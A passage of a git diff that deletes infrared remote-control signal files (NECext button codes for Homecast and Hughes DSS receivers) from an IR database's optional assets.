00 00 -command: 48 00 00 00 -# -name: STOP -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 49 00 00 00 -# -name: FF -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 50 00 00 00 -# -name: REC -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 51 00 00 00 -# -name: SLOW -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 52 00 00 00 -# -name: LIST -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 53 00 00 00 -# -name: JUMP -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 54 00 00 00 -# -name: MARK -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 55 00 00 00 -# -name: A-B -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 56 00 00 00 -# -name: SWAP -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 58 00 00 00 -# -name: MOVE -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 59 00 00 00 -# -name: PIP -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 5A 00 00 00 -# -name: SLEEP -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 5D 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Homecast/Unknown_DVB-S/32,32.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Homecast/Unknown_DVB-S/32,32.ir deleted file mode 100644 index cb2933bca..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Homecast/Unknown_DVB-S/32,32.ir +++ /dev/null @@ -1,194 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_RED -type: parsed -protocol: NECext -address: 20 20 00 00 -command: 01 00 00 00 -# -name: KEY_GREEN -type: parsed -protocol: NECext -address: 20 20 00 00 -command: 02 00 00 00 -# -name: KEY_YELLOW -type: parsed -protocol: NECext -address: 20 20 00 00 -command: 03 00 00 00 -# -name: KEY_BLUE -type: parsed -protocol: NECext -address: 20 20 00 00 -command: 04 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 20 20 00 00 -command: 05 00 00 00 -# -name: KEY_EPG -type: parsed -protocol: NECext -address: 20 20 00 00 -command: 06 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 20 20 00 00 -command: 07 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 20 20 00 00 -command: 0B 00 00 00 -# -name: Program- -type: parsed -protocol: NECext -address: 20 20 00 00 -command: 0C 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 20 20 00 00 -command: 0D 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 20 20 00 00 -command: 0E 00 00 00 -# -name: Program+ -type: parsed -protocol: NECext -address: 20 20 00 00 -command: 0F 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 20 20 00 00 -command: 10 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 20 20 00 00 -command: 11 00 00 00 -# -name: KEY_BACK -type: parsed -protocol: NECext -address: 20 20 00 00 -command: 12 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 20 20 00 00 -command: 13 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 20 20 00 00 -command: 14 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 20 20 00 00 -command: 15 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 20 20 00 00 -command: 18 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 20 20 00 00 -command: 19 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 20 20 00 00 -command: 1A 00 00 00 -# -name: TvRad -type: parsed -protocol: NECext -address: 20 20 00 00 -command: 1C 00 00 00 -# -name: TvStb -type: parsed -protocol: NECext -address: 20 20 00 00 -command: 1D 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 20 20 00 00 -command: 1E 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 20 20 00 00 -command: 41 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 20 20 00 00 -command: 42 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 20 20 00 00 -command: 43 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 20 20 00 00 -command: 44 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 20 20 00 00 -command: 45 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 20 20 00 00 -command: 46 00 00 00 -# -name: Func -type: parsed -protocol: NECext -address: 20 20 00 00 -command: 49 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 20 20 00 00 -command: 4E 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Homecast/Unknown_DVB-T/64,64.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Homecast/Unknown_DVB-T/64,64.ir deleted file mode 100644 index 8b595296a..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Homecast/Unknown_DVB-T/64,64.ir +++ /dev/null @@ -1,218 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 09 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 0A 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 0B 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 0C 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 0D 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 0E 00 00 00 -# -name: KEY_TV -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 0F 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 10 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 11 00 00 00 -# -name: KEY_I -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 12 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 15 00 00 00 -# -name: KEY_RED -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 16 00 00 00 -# -name: KEY_GREEN -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 17 00 00 00 -# -name: KEY_YELLOW -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 18 00 00 00 -# -name: KEY_BLUE -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 19 00 00 00 -# -name: app -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 1A 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 1C 00 00 00 -# -name: KEY_EXIT -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 1D 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 1E 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 1F 00 00 00 -# -name: KEY_LIST -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 40 00 00 00 -# -name: opt -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 41 00 00 00 -# -name: KEY_EPG -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 42 00 00 00 -# -name: KEY_SUBTITLE -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 43 00 00 00 -# -name: reload -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 45 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 46 00 00 00 -# -name: KEY_TEXT -type: parsed -protocol: NECext -address: 40 40 00 00 -command: 47 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hughes/DSS/1,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hughes/DSS/1,-1.ir deleted file mode 100644 index 649a312a7..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hughes/DSS/1,-1.ir +++ /dev/null @@ -1,50 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 12 00 00 00 -# -name: VOL._UP -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 12 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 13 00 00 00 -# -name: VOL._DOWN -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 13 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 14 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 14 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 15 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 17 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hughes/DSS/12,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hughes/DSS/12,-1.ir deleted file mode 100644 index 365969507..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hughes/DSS/12,-1.ir +++ /dev/null @@ -1,200 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: 1 -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 01 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 02 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 03 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 04 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 05 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 06 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 07 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 08 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 09 00 00 00 -# -name: CHANNEL_+ -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 0D 00 00 00 -# -name: PAGE_UP -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 0D 00 00 00 -# -name: CHANNEL_- -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 0E 00 00 00 -# -name: PAGE_DOWN -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 0E 00 00 00 -# -name: PREV -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 0F 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 10 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 11 00 00 00 -# -name: DASH -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 12 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 13 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 20 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 21 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 22 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 23 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 24 00 00 00 -# -name: CURSOR_ENTER -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 25 00 00 00 -# -name: SELECT -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 25 00 00 00 -# -name: EXIT -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 26 00 00 00 -# -name: BACK -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 27 00 00 00 -# -name: GUIDE -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 28 00 00 00 -# -name: ACTIVE -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 29 00 00 00 -# -name: LIST -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 2A 00 00 00 -# -name: INFO -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 2E 00 00 00 -# -name: OFF -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 5B 00 00 00 -# -name: FORMAT -type: parsed -protocol: NECext -address: 0C 00 00 00 -command: 73 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hughes/DSS/12,251.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hughes/DSS/12,251.ir deleted file mode 100644 index f38efadeb..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hughes/DSS/12,251.ir +++ /dev/null @@ -1,728 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: TV/DSS -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 01 00 00 00 -# -name: INPUT -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 01 00 00 00 -# -name: CHANNEL_+ -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 02 00 00 00 -# -name: CH_^ -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 02 00 00 00 -# -name: CHAN_UP -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 02 00 00 00 -# -name: CHANNEL_- -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 03 00 00 00 -# -name: CH_V -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 03 00 00 00 -# -name: CHAN_DN -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 03 00 00 00 -# -name: 0_(ALL) -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 04 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 04 00 00 00 -# -name: 1_(MOVIES) -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 05 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 05 00 00 00 -# -name: 2_(SPORTS) -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 06 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 06 00 00 00 -# -name: 3_(NEWS) -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 07 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 07 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 08 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 09 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 0A 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 0B 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 0C 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 0D 00 00 00 -# -name: ACTION -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 0E 00 00 00 -# -name: EXIT -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 0F 00 00 00 -# -name: ALTERNATE_AUDIO -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 0F 00 00 00 -# -name: CLEAR -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 0F 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 10 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 10 00 00 00 -# -name: V -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 10 00 00 00 -# -name: DOWN -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 10 00 00 00 -# -name: ARROW_DN -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 10 00 00 00 -# -name: FAV_(LIST) -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 11 00 00 00 -# -name: FAVORITE -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 11 00 00 00 -# -name: FAV/LIST -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 11 00 00 00 -# -name: FAV1 -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 11 00 00 00 -# -name: FAV -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 11 00 00 00 -# -name: GUIDE_(MENU) -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 12 00 00 00 -# -name: GUIDE -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 12 00 00 00 -# -name: GUIDE/MENU -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 12 00 00 00 -# -name: GUILDE -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 12 00 00 00 -# -name: INFO -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 13 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 14 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 14 00 00 00 -# -name: < -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 14 00 00 00 -# -name: LEFT -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 14 00 00 00 -# -name: ARROW_LEFT -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 14 00 00 00 -# -name: DSS_POWER -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 15 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 15 00 00 00 -# -name: PREV._CH_(SERVICES) -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 16 00 00 00 -# -name: PREVIOUS_CHANNEL -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 16 00 00 00 -# -name: PREV_CH -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 16 00 00 00 -# -name: PREV_CH_(SERVICES) -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 16 00 00 00 -# -name: PREVIOUS_CHAN -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 16 00 00 00 -# -name: PREV_CHANNEL -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 16 00 00 00 -# -name: PREV._CHANNEL -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 16 00 00 00 -# -name: PREV_CHAN -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 16 00 00 00 -# -name: PREVIOUS_CH -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 16 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 17 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 17 00 00 00 -# -name: > -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 17 00 00 00 -# -name: RIGHT -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 17 00 00 00 -# -name: ARROW_RIGHT -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 17 00 00 00 -# -name: SELECT -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 18 00 00 00 -# -name: ENTER -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 18 00 00 00 -# -name: CURSOR_SELECT -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 18 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 19 00 00 00 -# -name: ^ -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 19 00 00 00 -# -name: UP -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 19 00 00 00 -# -name: ARROW_UP -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 19 00 00 00 -# -name: FREEZE -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 20 00 00 00 -# -name: SURF -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 2F 00 00 00 -# -name: CC/DATE -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 30 00 00 00 -# -name: RATIO -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 31 00 00 00 -# -name: ? -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 32 00 00 00 -# -name: DOT -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 36 00 00 00 -# -name: --_ALPHA -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 36 00 00 00 -# -name: - -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 36 00 00 00 -# -name: HD_OUTPUT -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 37 00 00 00 -# -name: HD_OUTPUT_ON -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 37 00 00 00 -# -name: HDSD -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 37 00 00 00 -# -name: SD_OUTPUT -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 38 00 00 00 -# -name: STANDARD_OUTPUT_ON -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 38 00 00 00 -# -name: 1080I -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 40 00 00 00 -# -name: 720P -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 41 00 00 00 -# -name: 480P -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 42 00 00 00 -# -name: 480I -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 43 00 00 00 -# -name: NATIVE -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 44 00 00 00 -# -name: VARIABLE_1 -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 45 00 00 00 -# -name: VARIABLE_2 -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 46 00 00 00 -# -name: VARIABLE_3 -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 47 00 00 00 -# -name: OFF -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 48 00 00 00 -# -name: SYSTEM_OFF -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 49 00 00 00 -# -name: ON -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 4A 00 00 00 -# -name: FACTORY_TEST -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 4B 00 00 00 -# -name: SPECIAL_DIAGNOSTICS -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 4C 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 70 00 00 00 -# -name: ALPHA -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 75 00 00 00 -# -name: INPUT -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 81 00 00 00 -# -name: CHANNEL_UP -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 82 00 00 00 -# -name: CHANNEL_DOWN -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 83 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 84 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 85 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 86 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 87 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 88 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 89 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 8A 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 8B 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 8C 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 8D 00 00 00 -# -name: CLEAR -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 8F 00 00 00 -# -name: DOWN -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 90 00 00 00 -# -name: GUIDE -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 92 00 00 00 -# -name: INFO -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 93 00 00 00 -# -name: LEFT -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 94 00 00 00 -# -name: PR._CHANNEL -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 96 00 00 00 -# -name: RIGHT -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 97 00 00 00 -# -name: SELECT -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 98 00 00 00 -# -name: UP -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: 99 00 00 00 -# -name: - -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: B6 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 0C FB 00 00 -command: F0 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hughes/DSS/133,48.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hughes/DSS/133,48.ir deleted file mode 100644 index 7b7e3a823..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Hughes/DSS/133,48.ir +++ /dev/null @@ -1,272 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: TIVO -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 02 00 00 00 -# -name: DIRECTV -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 0F 00 00 00 -# -name: LIVE_TV_/_GUIDE -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 11 00 00 00 -# -name: LIVE_TV -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 11 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 12 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 13 00 00 00 -# -name: INFO -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 13 00 00 00 -# -name: CURSOR_UP -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 14 00 00 00 -# -name: CURSOR_RIGHT -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 15 00 00 00 -# -name: CURSOR_DOWN -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 16 00 00 00 -# -name: CURSOR_LEFT -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 17 00 00 00 -# -name: THUMBS_DOWN -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 18 00 00 00 -# -name: SELECT -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 19 00 00 00 -# -name: THUMBS_UP -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 1A 00 00 00 -# -name: CHANNEL_+ -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 1E 00 00 00 -# -name: CHANNEL_- -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 1F 00 00 00 -# -name: RECORD -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 20 00 00 00 -# -name: PLAY -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 21 00 00 00 -# -name: BACK -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 22 00 00 00 -# -name: BACKWARDS -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 22 00 00 00 -# -name: PAUSE -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 23 00 00 00 -# -name: FWD -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 24 00 00 00 -# -name: FORWARD -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 24 00 00 00 -# -name: SLOW_MOTION -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 25 00 00 00 -# -name: SLOW -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 25 00 00 00 -# -name: INSTANT_REPLAY -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 26 00 00 00 -# -name: REPLAY -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 26 00 00 00 -# -name: RETURN_TO_LIVE_TV -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 27 00 00 00 -# -name: ADVANCE -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 27 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 28 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 29 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 85 30 00 00 -command: 2A 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 85 30 